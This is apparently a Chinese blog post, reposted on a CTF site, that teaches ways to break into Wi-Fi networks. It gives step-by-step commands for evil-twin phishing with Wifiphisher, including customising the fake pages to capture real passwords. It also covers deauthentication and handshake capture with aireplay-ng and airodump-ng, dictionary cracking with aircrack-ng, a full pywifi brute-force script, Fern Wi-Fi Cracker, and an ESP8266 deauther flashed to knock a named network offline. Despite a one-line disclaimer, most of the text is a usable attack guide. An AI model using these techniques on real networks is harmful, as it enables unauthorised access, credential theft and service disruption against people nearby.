【近源渗透】攻击破解wifi的几种方式

渗透技巧 3年前 (2021) admin
2,673 0 0


自从万能钥匙落入神坛,一代“黑客” 从此没有了一种获取wifi,打入局域网的一种方式。


今天一起交流交流 wifi如何高效破解,把常见的几种方式总结下


wifi连接上,我们就可以直接冲进内网,杀个片甲不留


说起wifi相关的硬件,大家第一时间都能想到大菠萝【近源渗透】攻击破解wifi的几种方式


有些更奇特的wifi攻击姿势,因为一些原因,没放出来,欢迎一起交流


请勿做非法用途



0x01 Wifi–钓鱼大法

 


说起wifi 钓鱼,这个其实成功率还是比较高的,作者经常用到一款 python程序,wifiphisher


官方介绍:Wifiphisher is a rogue Access Point framework for conducting red team engagements or Wi-Fi security testing. Using Wifiphisher, penetration testers can easily achieve a man-in-the-middle position against wireless clients by performing targeted Wi-Fi association attacks. Wifiphisher can be further used to mount victim-customized web phishing attacks against the connected clients in order to capture credentials (e.g. from third party login pages or WPA/WPA2 Pre-Shared Keys) or infect the victim stations with malwares.

官方下载地址:https://github.com/wifiphisher/wifiphisher



因为这个是由python写的,在运用的时候做了一个简单的页面二开。


该工具主要的运用原理是:

根据攻击WiFi, 创建伪造一个于目标BSSID 一样的 热点

在运用dos/认证/干扰 去攻击真实的AP,导致真的AP无法连接,而伪造的热点是正常

使用的,受害者连接伪造AP后 将程序的HTTP/dncp 转发对应的数据页面,做伪认证钓鱼



下载该软件

git clone https://github.com/wifiphisher/wifiphisher.git

下载后安装即可

或者直接输入

输入命令apt install wifiphisher 直接安装


【近源渗透】攻击破解wifi的几种方式


我们wifiphisher 运行,也是需要外置的无线网卡


如果没有外置无线网卡将会报错


【近源渗透】攻击破解wifi的几种方式


插入无线网卡,运行 如下图

  • ·BSSID:网卡MAC地址,

  • ·CH:信道通道(频道),

  • ·ESSID:Wifi名称,

  • ·STATION:可理解为连接着这个网络的某一台手机的MAC地址

    .PWR:信号强弱程度,数值越大信号越强;




【近源渗透】攻击破解wifi的几种方式



我们选择名称为 ALiYun的wifi名称,回车确定


【近源渗透】攻击破解wifi的几种方式


将会出现1 ,2 ,3 ,4

 4个选项,每个选项对应的样式都是不一样的


第一个为登录认证页面



【近源渗透】攻击破解wifi的几种方式


第二个为浏览器插件更新,第三个为网卡管理连接


【近源渗透】攻击破解wifi的几种方式


第四个为固件升级


【近源渗透】攻击破解wifi的几种方式


我们默认选择第一个


【近源渗透】攻击破解wifi的几种方式


将会创建一个 并且无线干扰正常的ap,导致用户连接失败,试用户连接 伪造AP


【近源渗透】攻击破解wifi的几种方式


我用手机连接伪造AP,将会自动 跳转到伪造的页面上


因为老外开发 是用英文开发的,所以内容是英文页面,我们可以修改python文件,来诱惑用户输入真实密码即可



【近源渗透】攻击破解wifi的几种方式



python文件 在wifiphisherdataphishing-pages ,对应1,2,3,4


【近源渗透】攻击破解wifi的几种方式


修改wifi_connect 中的文件,重新安装即可


【近源渗透】攻击破解wifi的几种方式





0x02 Wifi–暴力破解

 


一说到暴力破解 就不得不提,常用的airmon工具




1,airmon工具的使用


功能包括:

  • 监控:数据包捕获。

  • 测试:检查WiFi和驱动程序的能力(捕捉和注入)。

  • 破解:WEP 和 WPA PSK(WPA 1和2)。



首先得准备两样东西

1,kali 系统主机,2,外置的无线网卡(如果kali系统不是在虚拟机,可不用)


【近源渗透】攻击破解wifi的几种方式



连接好,我们登陆kali 虚拟机,我们先去查看 外置的无线 是否正常启动


【近源渗透】攻击破解wifi的几种方式


运行  命令 airmon-ng 查看 是否存在有监控的网卡


【近源渗透】攻击破解wifi的几种方式



airmon-ng start wlan0  开启 监听模式


【近源渗透】攻击破解wifi的几种方式


输入iwconfig命令查看网卡信息, wlan0mon网卡名加了mon则表示成功


【近源渗透】攻击破解wifi的几种方式


命令airodump-ng wlan0mon,开始扫描WiFi,按ctrl+c结束任务


关键点:

  • ·BSSID:网卡MAC地址,

  • ·CH:信道通道(频道),

  • ·ESSID:Wifi名称,

  • ·STATION:可理解为连接着这个网络的某一台手机的MAC地址

    .PWR:信号强弱程度,数值越小信号越强;

    .DATA:数据量,越大使用的人就越多




【近源渗透】攻击破解wifi的几种方式



到这一步往后就是比较重要的了,这个工具的大概原理流程是窃取,wifi中tcp第5次建立连接的握手包,然后根据里面加密数据,进行暴力破解,为什么要用到这个包呢?是因为在wifi中的一些特定的加密方式,我们运用这种方式可以更快的去暴力破解wifi密码,有想了解的可以去参考wpa 相关加密方式



输入airodump-ng –bssid BSSID -c 信道频率 -w 抓包存储的路径 wlan0mon


我这边是这样,不知道怎么填写的可以看上面的参数说明



【近源渗透】攻击破解wifi的几种方式



第一行的 BSSID 是wifi的相关信息

第二行的BSSID为已经连接wifi的信息,station,为连接wiif的mac地址



我们运行 之后,其实可以发现,一直是处于抓不到 别人建立 wifi 连接的包,此时能,我们就得运用到一个攻击手法了


新建一个终端:

输入 airepaly-ng -0 0 -c 连接到WiFi的手机mac地址 -a bssid 网卡名(一般为wlan0mon)


如:aireplay-ng -0 0 -c A8:0C:63:10:84:C7 -a 44:1A:马赛克:34:16:70 wlan0mon


工具的攻击流程是:-0 0 攻击WiFi设备无限次数,-0 8则攻击8次先让设备掉线,设备会再自动连接,并发这个自动连接过程会进行三次握手,会发送tcp包(里面包含加密的密码数据),我方伪装成WiFi热点去窃取该数据包。我方窃取后即可用字典穷举法暴力破解加密的WiFi密码,数据包里面的密码是哈希加密的,哈希加密只能正向)


一共两个窗口 一个监听,一个攻击。


此时的被攻击wifi 将会一直出现

被攻击者视角:(如下图片来源互联网)

【近源渗透】攻击破解wifi的几种方式


在攻击的时候,可以发现,last 和 Frames 的基数很大

【近源渗透】攻击破解wifi的几种方式



小编在测试中,抓了整整20多分钟,包括更换其他wifi的情况下,都无抓到成功的 握手包。也包含了重新连接wifi,用密码重连,都无成功,如果您复现成功了,可以在后台留言


下面采用 网络图片



【近源渗透】攻击破解wifi的几种方式


如果看到下面红色圈住的这些,就说明握手包抓取成功了,然后 Ctrl+c 停止抓包



【近源渗透】攻击破解wifi的几种方式


在你指定存放文件的位子可以看到抓到的数据包 (该图来源互联网)


【近源渗透】攻击破解wifi的几种方式


准备一份密码字典

kali下自带有一份无线密码字典  /usr/share/wordlists/rockyou.txt.gz

也可以用自己下载的

还可以自己根据信息收集去生成针对性的字典


输入 aircrack-ng -w 字典路径 握手包路径,回车后开始爆破


如下就是爆破成功


【近源渗透】攻击破解wifi的几种方式





2,Python 脚本




import pywifiimport timefrom pywifi import const

# WiFi扫描模块def wifi_scan(): # 初始化wifi wifi = pywifi.PyWiFi() # 使用第一个无线网卡 interface = wifi.interfaces()[0] # 开始扫描 interface.scan() for i in range(4): time.sleep(1) print('r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i), end=')') print('r扫描完成!n' + '-' * 38) print('r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名')) # 扫描结果,scan_results()返回一个集,存放的是每个wifi对象 bss = interface.scan_results() # 存放wifi名的集合 wifi_name_set = set() for w in bss: # 解决乱码问题 wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) wifi_name_set.add(wifi_name_and_signal) # 存入列表并按信号排序 wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) num = 0 # 格式化输出 while num < len(wifi_name_list): print('r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1])) num += 1 print('-' * 38) # 返回wifi列表 return wifi_name_list

# WIFI破解模块def wifi_password_crack(wifi_name): # 字典路径 wifi_dic_path = input("请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:") with open(wifi_dic_path, 'r') as f: # 遍历密码 for pwd in f: # 去除密码的末尾换行符 pwd = pwd.strip('n') # 创建wifi对象 wifi = pywifi.PyWiFi() # 创建网卡对象,为第一个wifi网卡 interface = wifi.interfaces()[0] # 断开所有wifi连接 interface.disconnect() # 等待其断开 while interface.status() == 4: # 当其处于连接状态时,利用循环等待其断开 pass # 创建连接文件(对象) profile = pywifi.Profile() # wifi名称 profile.ssid = wifi_name # 需要认证 profile.auth = const.AUTH_ALG_OPEN # wifi默认加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP # wifi密码 profile.key = pwd # 删除所有wifi连接文件 interface.remove_all_network_profiles() # 设置新的wifi连接文件 tmp_profile = interface.add_network_profile(profile) # 开始尝试连接 interface.connect(tmp_profile) start_time = time.time() while time.time() - start_time < 1.5: # 接口状态为4代表连接成功(当尝试时间大于1.5秒之后则为错误密码,经测试测正确密码一般都在1.5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力破解速度就会变慢) if interface.status() == 4: print(f'r连接成功!密码为:{pwd}') exit(0) else: print(f'r正在利用密码 {pwd} 尝试破解。', end='')
# 主函数def main(): # 退出标致 exit_flag = 0 # 目标编号 target_num = -1 while not exit_flag: try: print('WiFi万能钥匙'.center(35, '-')) # 调用扫描模块,返回一个排序后的wifi列表 wifi_list = wifi_scan() # 让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理 choose_exit_flag = 0 while not choose_exit_flag: try: target_num = int(input('请选择你要尝试破解的wifi:')) # 如果要选择的wifi编号在列表内,继续二次判断,否则重新输入 if target_num in range(len(wifi_list)): # 二次确认 while not choose_exit_flag: try: choose = str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)')) # 对用户输入进行小写处理,并判断 if choose.lower() == 'y': choose_exit_flag = 1 elif choose.lower() == 'n': break # 处理用户其它字母输入 else: print('只能输入 Y/N 哦o(* ̄︶ ̄*)o') # 处理用户非字母输入 except ValueError: print('只能输入 Y/N 哦o(* ̄︶ ̄*)o') # 退出破解 if choose_exit_flag == 1: break else: print('请重新输入哦(*^▽^*)') except ValueError: print('只能输入数字哦o(* ̄︶ ̄*)o') # 密码破解,传入用户选择的wifi名称 wifi_password_crack(wifi_list[target_num][1]) print('-' * 38) exit_flag = 1 except Exception as e: print(e) raise e

if __name__ == '__main__': main()


【近源渗透】攻击破解wifi的几种方式






3,Fern wifi cracker



该程序可以直接从kali 里找到,或者 采用 按照的方式

图形化的 wifi 破解工具,操作起来比较简单


【近源渗透】攻击破解wifi的几种方式



选择你的监听网卡,选择成功,下方 将会出现 active的字样


【近源渗透】攻击破解wifi的几种方式



选择成功后,点击第二个,扫描wifi 


【近源渗透】攻击破解wifi的几种方式



点击后,等待工具给我们扫描,我这边扫描出来 wpa 加密的 wifi。我们点击进去


【近源渗透】攻击破解wifi的几种方式


点击进去将会出现这么多的wifi


【近源渗透】攻击破解wifi的几种方式


挑选一个我们要破解的wifi


点击wifi 名称后,下面信息自动出现



【近源渗透】攻击破解wifi的几种方式



点击Browse 会让我们挑选 爆破的密码字典

字典选择好之后,我们点击 ATTACK即可

下图是正在爆破


【近源渗透】攻击破解wifi的几种方式





0x03 Wifi–拒绝攻击

 


1,esp8266(wifi的Deauth)攻击



下图为作者在某宝买的一块板子



【近源渗透】攻击破解wifi的几种方式


Deauth攻击的原理是因为WIFI管理数据帧没有被加密,导致攻击者可以伪造管理帧,从而让攻击者可以任意发送“取消认证”数据包来强行切断AP与客户端的连接。用户体验到的状态就是连接不上对于的WIFI了。这篇文章将演示如何进行攻击和攻击后的效果。


(由于板子二次烧写有误下方来源 简书

既然要使用ESP8266,那么肯定是要找到下载工具的。附上下载链接
Deauth攻击的固件是Stefan Kremser在GITHUB上的一个开源程序esp8266_deauther,这里我也附上直接下载bin文件的链接地址,方便看官使用。V2_1


将ESP8266模块连接到电脑上,然后在设备管理器里面看看是否有串口驱动


【近源渗透】攻击破解wifi的几种方式



打开软件后,选择配置,导入准备的bin文件


【近源渗透】攻击破解wifi的几种方式


点击[操作],选择对于的COM口,下载


【近源渗透】攻击破解wifi的几种方式


下载完成后,将会看到模块上面的LED常量几秒钟后熄灭


使用电脑或者手机连接上该模块发出来的WIFI,默认名称是pwned,密码:deauther ,然后登陆192.168.4.1改地址,将进入web界面


点击如图红框,然后在左上角选择setting,进入配置界面,里面能修改热点的SSID和密码,语言也在这里

【近源渗透】攻击破解wifi的几种方式


接下来开始测试攻击,目标是智能移动宝-4638该WIFI。
首先选择到扫描页面,点击SCAN APS,然后刷新页面


【近源渗透】攻击破解wifi的几种方式


找到SSID为智能移动宝-4638,然后勾选上它


【近源渗透】攻击破解wifi的几种方式


这个时候,可以用另外一台设备连接上这个WIFI,模拟用户


【近源渗透】攻击破解wifi的几种方式


然后我们再回到web页面,左上方选择攻击子栏


【近源渗透】攻击破解wifi的几种方式


如图所示,我们可以看到,目标数变为了1,也就是我们之前勾选上的智能移动宝的AP,如果没有改变,可以点击刷新,最后我们点击开始



【近源渗透】攻击破解wifi的几种方式


此时就开始了攻击,然后查看之前连接上智能移动宝WIFI的设备,便会发现如图所示,并且每次再连接均会被自动断开


【近源渗透】攻击破解wifi的几种方式





大菠萝因为购买渠道问题,这次都先不说了,大菠萝是一款优秀的wifi硬件设备



参考来源

https://www.jianshu.com/p/af802d062564

https://www.cnblogs.com/forforever/p/12398893.html




 burp   burp 



【近源渗透】攻击破解wifi的几种方式


 


【近源渗透】攻击破解wifi的几种方式

原文始发于微信公众号(黑客街安全团队):【近源渗透】攻击破解wifi的几种方式

版权声明:admin 发表于 2021年10月12日 上午9:19。
转载请注明:【近源渗透】攻击破解wifi的几种方式 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...